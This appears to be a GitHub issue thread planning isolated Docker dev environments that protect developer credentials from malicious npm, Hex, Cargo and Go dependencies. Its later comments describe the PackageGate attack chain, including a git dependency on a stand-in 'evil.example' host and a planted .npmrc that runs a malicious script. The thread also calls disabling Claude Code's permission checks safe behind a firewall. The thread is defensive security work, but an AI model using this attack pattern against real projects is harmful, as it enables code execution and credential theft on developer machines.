Isolated dev container environments for supply chain attack mitigation

[radiosilence]

Problem

Any npm install, mix deps.get, or cargo build can execute arbitrary code on the host machine. A single malicious package in the dependency tree gets full access to:

• SSH keys (1Password agent socket)
• AWS credentials (aws-vault session or IAM creds)
• GitHub tokens
• Browser cookies/sessions
• Claude API keys
• Everything else in $HOME

Real-world examples: event-stream (CVE-2018-16492), ua-parser-js (CVE-2021-27292), colors/faker sabotage, the eslint-scope npm token theft. This isn't theoretical — it's routine.

Goal: A single task dev <project-name> command that boots an isolated, credential-scoped container environment in seconds. Base image has zero baked-in secrets. Runtime credential injection is minimal, scoped, and gated behind hardware confirmation (passkey/Touch ID) where possible.

Design Principles

1. Zero-trust base image — no credentials, tokens, or secrets in the image. Ever.
2. Runtime-only credential injection — secrets passed as env vars or agent socket mounts at docker run time
3. Minimal credential scope — read-only npm tokens for install, ssh-agent forwarding (not key copying), short-lived AWS sessions
4. Hardware-gated access — 1Password SSH agent w/ passkey confirmation, aws-vault w/ Keychain, Touch ID sudo
5. Fast startup — must be <5s from cold, <1s warm. Docker + OrbStack is the path
6. Claude Code native — AI assistant must work seamlessly inside the container
7. Taskfile orchestration — task dev <project> is the only interface

Architecture

Runtime: Docker on OrbStack

Why Docker over alternatives:

Option	Boot time	macOS FS perf	Tooling maturity	Isolation
Docker + OrbStack	~1s	Near-native (VirtioFS)	Excellent	Good (namespaces + seccomp)
Apple Containers	~1s	Unknown	Very new, limited	Better (full VM)
Vagrant/VMs	30-60s	Poor (shared folders)	Mature but heavyweight	Best
K8s pods	~2-5s	Volume-dependent	Overkill for local	Good

Apple Containers (macOS container CLI, Virtualization.framework) are interesting but too immature for daily driving. Worth revisiting in 12 months. OrbStack gives us Docker with near-native perf and optional k8s if we want it later.

K8s option — don't dismiss entirely. OrbStack has built-in k8s. A future phase could define dev environments as k8s Deployments with PVCs, which would give us:

• Resource limits (CPU/memory per project)
• Network policies (restrict container egress)
• PVC-backed persistent volumes (better than host mounts for isolation)
• Same abstraction whether running locally or on a remote dev server

Base Image Strategy

Multi-stage Dockerfile, language-specific layers on a common base:

┌─────────────────────────────────┐
│  devbox-base                    │
│  Ubuntu 24.04 + mise + zsh +   │
│  task + common tools            │
├─────────────────────────────────┤
│  devbox-ts     (node, bun, pnpm)│
│  devbox-elixir (erlang, elixir) │
│  devbox-rust   (rustup, cargo)  │
│  devbox-go     (go toolchain)   │
│  devbox-full   (all of above)   │
└─────────────────────────────────┘

All images are public-registry-safe — nothing proprietary, no auth tokens, no private package access.

Container Filesystem Layout

/workspace/              ← project source (bind mount or named volume)
/home/dev/               ← user home
/home/dev/.config/       ← tool configs (mounted read-only from host where safe)
/home/dev/.ssh/          ← EMPTY, ssh-agent socket mounted at runtime
/home/dev/.claude/       ← claude config (mounted at runtime)
/run/secrets/            ← runtime-injected secrets (tmpfs)

Persistence Strategy

Two modes, project-dependent:

1. Bind mount (-v $(pwd):/workspace) — for active development, host editor access. Tradeoff: host FS is exposed.
2. Named volume (-v project-data:/workspace) — for higher isolation. Code stays in the volume, accessed only via container. Use docker cp or git to sync.

Recommendation: bind mount for dev, named volume for untrusted dependency work (e.g., auditing a new package).

Credential Injection

SSH Agent Forwarding (1Password)

# macOS 1Password SSH agent socket
docker run \
  -v "$HOME/Library/Group Containers/2BUA8C4S2C.com.1password/t/agent.sock:/run/ssh-agent.sock:ro" \
  -e SSH_AUTH_SOCK=/run/ssh-agent.sock \
  devbox-ts

Every git push, ssh connection etc. triggers a passkey/Touch ID prompt on the host. The container never sees a private key.

GitHub CLI

# Generate a scoped token and inject
GITHUB_TOKEN=$(gh auth token) docker run -e GITHUB_TOKEN devbox-ts

# Or mount gh config read-only
docker run -v "$HOME/.config/gh:/home/dev/.config/gh:ro" devbox-ts

AWS (via aws-vault)

# Short-lived session credentials, never long-lived keys
aws-vault exec my-profile -- docker run \
  -e AWS_ACCESS_KEY_ID \
  -e AWS_SECRET_ACCESS_KEY \
  -e AWS_SESSION_TOKEN \
  -e AWS_REGION \
  devbox-ts

Session tokens expire (typically 1hr). Even if exfiltrated, damage window is limited.

npm / Private Registry Auth

# Read-only automation token, injected at runtime
docker run -e NPM_TOKEN="$(op read 'op://Dev/npm-token/credential')" devbox-ts

Inside the container, .npmrc references the env var:

//registry.npmjs.org/:_authToken=${NPM_TOKEN}

The token is never written to the image or filesystem.

Hex (Elixir)

docker run -e HEX_API_KEY="$(op read 'op://Dev/hex-key/credential')" devbox-elixir

Claude Code

docker run \
  -e ANTHROPIC_API_KEY="$(op read 'op://Dev/anthropic-key/credential')" \
  -v "$HOME/.claude:/home/dev/.claude" \
  devbox-ts

Claude Code can also operate from the host talking to the container via docker exec:

# Claude on host, executing commands in container
claude --exec "docker exec -i devbox-myproject"

This is potentially the better model — Claude stays on the host with full context, but all code execution happens in the container.

Safe Package Manager Defaults

npm / pnpm (baked into base image .npmrc)

# CRITICAL: prevent arbitrary code execution during install
ignore-scripts=true
audit-level=moderate
package-lock=true
fund=false
update-notifier=false

When a project legitimately needs lifecycle scripts (native modules etc.), explicitly opt in per-project:

# In the project's package.json or .npmrc
# pnpm v10+ has allowedScripts for granular control

Mix / Hex (baked into base image config)

# ~/.config/mix/config.exs or project config
# mix hex.audit on every deps.get

Key risks: Mix compiles dependencies, which can execute arbitrary Elixir at compile time. Container isolation is the primary mitigation here — there's no ignore-scripts equivalent.

Cargo

# ~/.cargo/config.toml baked into image
[net]
git-fetch-with-cli = true  # uses ssh-agent, not stored keys

# Run cargo-audit as part of build
# Run cargo-vet for supply chain review

build.rs scripts run during compilation — same risk as npm postinstall. Container isolation is the mitigation.

Go

# Baked into image environment
GONOSUMCHECK=""  # enforce checksum verification for ALL modules
GOFLAGS="-mod=readonly"  # prevent unexpected go.mod changes
GOPROXY="https://proxy.golang.org,direct"
GONOSUMDB=""  # use sumdb for everything

Container Security Hardening

docker run \
  --security-opt=no-new-privileges \
  --cap-drop=ALL \
  --cap-add=NET_BIND_SERVICE \
  --read-only \
  --tmpfs /tmp:rw,noexec,nosuid \
  --tmpfs /run:rw,noexec,nosuid \
  --tmpfs /home/dev/.cache:rw,noexec,nosuid \
  --network=bridge \
  --memory=8g \
  --cpus=4 \
  devbox-ts

Key hardening:

• no-new-privileges — can't escalate via setuid/setgid
• cap-drop=ALL — drop all Linux capabilities
• read-only root filesystem with tmpfs for writable paths
• Resource limits prevent crypto mining / DoS
• Consider --network=none for pure offline builds, switch to bridge when needed

Claude Code Integration

Option A: Claude inside the container

• Install Claude Code in the base image via curl -fsSL https://claude.ai/install.sh | bash
• Mount ANTHROPIC_API_KEY at runtime
• Full filesystem access within container only
• MCP servers would need to be configured inside the container

Option B: Claude on host, exec into container (recommended)

• Claude Code runs on host with full editor/context integration
• Commands execute via docker exec into the running container
• Host Claude config stays on host, container is just an execution sandbox
• Configure via Claude Code hooks or custom shell wrapper

Option C: Hybrid

• Claude on host for planning/editing
• Claude inside container for execution-heavy tasks (tests, builds)
• Use MCP or a simple HTTP bridge between host and container Claude instances

Recommendation: Start with Option B. It keeps the UX seamless (Zed/terminal Claude works normally) while sandboxing execution. The container just needs to be a running target for docker exec.

Taskfile Interface

# Taskfile.yml additions
tasks:
  dev:
    desc: Start isolated dev environment for a project
    vars:
      PROJECT: '{{.CLI_ARGS}}'
      LANG: '{{default "ts" .LANG}}'
      IMAGE: 'devbox-{{.LANG}}'
      CONTAINER: 'devbox-{{.PROJECT}}'
    cmds:
      - |
        # Check if container already running
        if docker ps --format '{{`{{.Names}}`}}' | grep -q "^{{.CONTAINER}}$"; then
          docker exec -it {{.CONTAINER}} zsh
          exit 0
        fi
        
        # Start new container
        docker run -dit \
          --name {{.CONTAINER}} \
          --hostname {{.CONTAINER}} \
          --security-opt=no-new-privileges \
          --cap-drop=ALL \
          --cap-add=NET_BIND_SERVICE \
          -v "$(pwd)/{{.PROJECT}}:/workspace" \
          -v "$HOME/Library/Group Containers/2BUA8C4S2C.com.1password/t/agent.sock:/run/ssh-agent.sock:ro" \
          -e SSH_AUTH_SOCK=/run/ssh-agent.sock \
          -e GITHUB_TOKEN="$(gh auth token)" \
          -e NPM_TOKEN="$(op read 'op://Dev/npm-token/credential' 2>/dev/null || true)" \
          -e ANTHROPIC_API_KEY="$(op read 'op://Dev/anthropic-key/credential' 2>/dev/null || true)" \
          -e HEX_API_KEY="$(op read 'op://Dev/hex-key/credential' 2>/dev/null || true)" \
          -w /workspace \
          {{.IMAGE}}
        
        docker exec -it {{.CONTAINER}} zsh

  dev:stop:
    desc: Stop a dev environment
    vars:
      PROJECT: '{{.CLI_ARGS}}'
      CONTAINER: 'devbox-{{.PROJECT}}'
    cmds:
      - docker stop {{.CONTAINER}} && docker rm {{.CONTAINER}}

  dev:build:
    desc: Build dev container images
    cmds:
      - docker build -t devbox-base -f containers/Dockerfile.base containers/
      - docker build -t devbox-ts -f containers/Dockerfile.ts containers/
      - docker build -t devbox-elixir -f containers/Dockerfile.elixir containers/
      - docker build -t devbox-rust -f containers/Dockerfile.rust containers/
      - docker build -t devbox-go -f containers/Dockerfile.go containers/
      - docker build -t devbox-full -f containers/Dockerfile.full containers/

  dev:list:
    desc: List running dev environments
    cmds:
      - docker ps --filter "name=devbox-" --format "table {{`{{.Names}}`}}\t{{`{{.Status}}`}}\t{{`{{.Image}}`}}"

  dev:exec:
    desc: Execute a command in a dev environment
    vars:
      PROJECT: '{{index (splitList " " .CLI_ARGS) 0}}'
      CMD: '{{join " " (rest (splitList " " .CLI_ARGS))}}'
    cmds:
      - docker exec -it devbox-{{.PROJECT}} {{.CMD}}

Implementation Plan

Phase 1: Foundation

• Create containers/ directory in dotfiles
• Write Dockerfile.base — Ubuntu 24.04, mise, zsh, task, safe .npmrc, common tools
• Write Dockerfile.ts — node, bun, pnpm via mise
• Write Dockerfile.elixir — erlang, elixir via mise
• Add Taskfile tasks: dev, dev:stop, dev:build, dev:list
• Test SSH agent forwarding with 1Password
• Test npm install with ignore-scripts=true + token injection
• Document in README

Phase 2: Polish

• Write Dockerfile.rust and Dockerfile.go
• Write Dockerfile.full (all languages)
• Add container security hardening (cap-drop, read-only, etc.)
• Add dev:exec for Claude Code host→container execution
• Add per-project config (.devbox.yml or similar) for custom env vars, ports, volumes
• Add port forwarding support for web dev (e.g., -p 3000:3000)
• Test Claude Code inside container

Phase 3: Advanced

• Evaluate Apple Containers when tooling matures
• Evaluate k8s-based approach (OrbStack k8s) for multi-project isolation with network policies
• Named volume mode for high-security dependency auditing
• Network policy profiles (offline-build, registry-only, full-network)
• Devcontainer spec compatibility (.devcontainer/devcontainer.json) for editor integration
• Auto-detect project language from mise.toml/package.json and select image automatically
• Warm image cache / pre-pull strategy for instant cold starts

Phase 4: Claude-Native Workflow

• Claude Code MCP server for container management (start/stop/exec)
• Claude Code hooks that auto-route execution to the project's container
• Headless Claude Code inside container for background tasks (tests, linting)
• .claude/settings.json container-aware configuration

Open Questions

1. Bind mount vs named volume as default? — Bind mount is more convenient (host editor access) but exposes the host FS. Named volume is more secure but requires docker cp or git for file access. Could default to bind mount and offer task dev:secure <project> for named-volume mode.

2. Network isolation granularity — Should the default allow outbound internet (for npm install, mix deps.get)? Probably yes for dev, but a --network=none mode for pure offline builds would be valuable.

3. How to handle ports? — Web dev needs port forwarding. Could auto-detect from package.json scripts or require explicit config.

4. Per-project config format? — A .devbox.yml in the project root? Or use the devcontainer spec for compatibility?

5. Image registry — Build locally only? Or push to GHCR for faster cold starts on new machines?

6. 1Password CLI vs env vars — op read is elegant but requires 1Password CLI auth inside or on host. Env var injection from host op is simpler.

[radiosilence]

Research Addendum: Claude Code Integration & Supply Chain Threat Intel

Consolidated findings from deep research. Some of these materially change the design.

---

Critical: ignore-scripts Is Not Enough

PackageGate (CVE-2025-69263, CVE-2025-69264, Jan 2026) — six zero-days across npm, pnpm, vlt, and Bun that bypass --ignore-scripts entirely. A git dependency containing a malicious .npmrc that sets git=./malicious-script.sh gets full RCE even with ignore-scripts=true. npm dismissed it as "expected behavior." pnpm patched in >9.15.0.

Implication: The base image should use pnpm v11 (not npm) as the default JS package manager. pnpm's allowBuilds is a deny-by-default model for lifecycle scripts — much stronger:

# pnpm-workspace.yaml
allowBuilds:
  esbuild: true
  sharp: ">=0.33.0"
  bcrypt: true
  "*": false  # deny everything else

Use pnpm approve-builds to interactively allow packages. This is the strongest posture in the JS ecosystem.

Elixir: Container Isolation Is the ONLY Mitigation

There is no ignore-scripts equivalent for Elixir. Three vectors that are fundamentally unblockable without containerisation:

1. Compile-time macros — any dep using macros runs arbitrary Elixir during mix compile
2. Application auto-start — malicious Application modules spin up GenServers on boot, read all env vars via Application.get_all_env/1, run raw Ecto queries, exfiltrate via :httpc (stdlib, no additional deps needed)
3. Hex/GitHub code divergence — Hex doesn't verify published code matches the GitHub repo. Review on hex.pm, not GitHub.

Additional tools for the base image:

# mix.exs
{:mix_audit, "~> 2.1", only: [:dev], runtime: false}

mix deps.audit    # known vulns (elixir-security-advisories DB)
mix hex.audit     # retired/unmaintained packages  
mix hex.package diff some_package 1.0.0..1.1.0  # diff before upgrade

Rust: Sandboxed Build Scripts Coming (But Not Yet)

build.rs = same risk as npm postinstall. There's an accepted Rust project goal for sandboxed build scripts (WASI-based, declarative permissions in Cargo.toml). Still experimental as of early 2026. For now:

• cargo-vet (Mozilla) — audit-based trust model, import trusted audits from other orgs. Trust is non-transitive.
• cargo-audit — scans Cargo.lock against RustSec Advisory DB
• cargo-deny — policy enforcement for licenses, duplicates, banned crates
• crates.io Trusted Publishing (launched July 2025) — OIDC from GitHub Actions, no long-lived API tokens

Go Has the Strongest Defaults

• No lifecycle scripts (the primary attack vector doesn't exist)
• Module proxy caches immutably, checksum DB verifies integrity
• govulncheck only reports vulns in code paths you actually call (unlike npm audit's noise)
• Only real risk is path impersonation (BoltDB incident, Feb 2025)

Docker Is NOT a Strong Security Boundary

Both Google and IBM/Red Hat have stated containers are not a strong isolation layer. CVE-2025-9074 (CVSS 9.3, Docker Desktop, Aug 2025) — any container could hit the unauthenticated Docker Engine API at 192.168.65.7:2375, launch privileged containers, mount host filesystem. Patched in Docker Desktop 4.44.3.

What a compromised container CAN still do even with hardening:

• Exploit kernel vulns (shared kernel)
• Side-channel attacks (Spectre/Meltdown)
• Exfiltrate via DNS queries (unless DNS is also blocked)
• Attack co-located containers on the same Docker network

Implication: The restricted Docker network should use internal: true (no internet). Use a separate network profile for when deps need fetching.

networks:
  restricted:
    driver: bridge
    internal: true  # no outbound internet
  registry-only:
    driver: bridge
    # + iptables rules for npm/hex/crates.io/proxy.golang.org only

Claude Code: Official Container Support

Anthropic has better container support than I initially covered:

Official devcontainer feature (drop-in install):

{
  "features": {
    "ghcr.io/anthropics/devcontainer-features/claude-code:1.0": {}
  }
}

Reference devcontainer at github.com/anthropics/claude-code/.devcontainer/ includes:

• init-firewall.sh — iptables default-deny, only allows npm registry, GitHub, Anthropic API, Sentry, SSH, DNS
• With firewall active, --dangerously-skip-permissions is safe
• Needs NET_ADMIN and NET_RAW capabilities for the firewall setup

--bare mode for containers — skips OAuth/keychain, auth MUST come from env var:

claude --bare -p "run tests" --allowedTools "Bash,Read,Edit"

apiKeyHelper — shell script for dynamic key fetching (1Password integration):

{
  "apiKeyHelper": "op read 'op://Dev/anthropic-key/credential'"
}

Built-in sandbox with enableWeakerNestedSandbox for running inside Docker without privileged namespaces. Filesystem isolation via bubblewrap (Linux) or Seatbelt (macOS). Network isolation via proxy-based domain filtering.

--strict-mcp-config — ignores all MCP configs except what you pass via --mcp-config. Good for lockdown.

Recommended approach: Claude on host + docker exec into container (Option B from original issue). But with the firewall, running Claude inside the container with --dangerously-skip-permissions is viable too.

Credential Scoping Refinements

1Password SSH agent: Scope ForwardAgent to specific hosts only:

Host github.com
  IdentityAgent "~/Library/Group Containers/2BUA8C4S2C.com.1password/t/agent.sock"
Host *
  ForwardAgent no

op run for just-in-time injection (secrets never touch disk):

op run --env-file=.env.tpl -- docker run devbox-ts
# .env.tpl uses op:// references that resolve at runtime

npm tokens: Use granular access tokens — read-only for install, publish-scoped to specific packages with IP allowlisting. The Shai-Hulud campaign specifically targeted npm tokens in ~/.npmrc.

Updated .npmrc for Base Image

ignore-scripts=true
audit-level=moderate
package-lock=true
save-exact=true
engine-strict=true
fund=false
update-notifier=false

But prefer pnpm's allowBuilds over npm's ignore-scripts given the PackageGate bypasses.

Sources

• PackageGate zero-days (Koi Security)
• Shai-Hulud campaign (Snyk)
• pnpm supply chain security
• Elixir dep security (Paraxial)
• How malicious Elixir libraries steal secrets
• Sandboxed build scripts Rust goal
• CVE-2025-9074 Docker Desktop escape
• Claude Code devcontainer
• Claude Code sandboxing
• Claude Code headless/SDK
• Anthropic devcontainer features
• DevContainers + 1Password for supply chain security

[radiosilence]

Update: npm is required alongside pnpm

Some work projects mandate npm (not negotiable for now). The base image must support both package managers.

Implications

1. Base image ships both npm and pnpm — pnpm preferred for personal/new projects, npm available for work projects that require it
2. .npmrc hardening is critical even knowing PackageGate bypasses exist — it still blocks the majority of attack surface (direct postinstall scripts). The bypass requires a malicious git dep specifically crafted to exploit it, which is a narrower vector than the broad postinstall attack.
3. Corepack should be enabled in the base image to pin package manager versions per-project via package.json packageManager field — this lets each project declare whether it uses npm or pnpm

Updated base image .npmrc

# ~/.npmrc (baked into base image)
ignore-scripts=true
audit-level=moderate
package-lock=true
save-exact=true
engine-strict=true
fund=false
update-notifier=false

Per-project override when lifecycle scripts are legitimately needed:

# project-level .npmrc
ignore-scripts=false
# Only do this in the container, never on host

Container startup script should detect package manager

#!/bin/bash
# entrypoint.sh or postStart hook
if [ -f pnpm-lock.yaml ]; then
  corepack enable pnpm
  pnpm install
elif [ -f package-lock.json ]; then
  npm ci
elif [ -f bun.lockb ]; then
  bun install
fi

Risk acknowledgement

Running npm ci with ignore-scripts=false inside the container is the whole point — the container IS the blast radius. A malicious postinstall can trash the container but can't reach host credentials (SSH keys, AWS creds, browser sessions) because they aren't mounted. That's the threat model working as designed.

[radiosilence]

Clarification: PackageGate scope & additional mitigations

PackageGate only applies to git dependencies

The ignore-scripts bypass requires a git dependency (not a registry tarball). The attack chain:

1. Dep is declared as "foo": "git+https://evil.example/foo.git"
2. Cloned repo contains .npmrc with git=./malicious-script.sh
3. A nested git dep within that repo triggers a second clone, which reads the malicious .npmrc and runs the script instead of git

Normal npm ci pulling tarballs from the registry → ignore-scripts=true works exactly as expected. The vast majority of deps are registry tarballs.

Additional mitigations for the container

# entrypoint.sh — nuke any .npmrc from deps after install
find /workspace/node_modules -name '.npmrc' -delete 2>/dev/null || true

# Block git dependencies entirely if not needed (most projects don't use them)
# npm config set git false  # doesn't exist, but we can:

More practically — scan lockfile for git deps as a pre-install check:

# pre-install.sh — warn on git deps
if grep -q '"resolved": "git[+:]' package-lock.json 2>/dev/null; then
  echo "⚠️  WARNING: git dependencies detected in lockfile. These bypass ignore-scripts."
  grep '"resolved": "git[+:]' package-lock.json
  echo "Review these carefully before proceeding."
fi

This could be a Taskfile pre-hook or part of the container entrypoint. Git deps in a lockfile are rare enough that a warning is appropriate — most projects will never trigger it.

Container .npmrc stays hardened

ignore-scripts=true
audit-level=moderate
package-lock=true
save-exact=true
engine-strict=true
fund=false
update-notifier=false

ignore-scripts=true remains the correct default. It blocks the primary attack vector (registry tarball postinstall scripts). The git dep bypass is a niche vector that we mitigate with detection rather than prevention.

[radiosilence]

Update: Disable git dependencies entirely

npm's git config controls which binary it uses when resolving git deps. It's independent of the system git. Setting it to /bin/false kills git dep resolution dead while normal git commands in the terminal work fine.

Updated container .npmrc

ignore-scripts=true
git=/bin/false
audit-level=moderate
package-lock=true
save-exact=true
engine-strict=true
fund=false
update-notifier=false

This completely closes the PackageGate vector — npm can't invoke git at all, so the malicious .npmrc git=./evil.sh trick has nothing to hijack. Any project with a git dep in its lockfile will fail at install time with a clear error, which is the correct behaviour — git deps should not exist in a production lockfile.

If a project legitimately needs a git dep (rare), override per-project:

# project .npmrc
git=git

This is the offensive technique from PackageGate turned into a defensive control. Beautiful.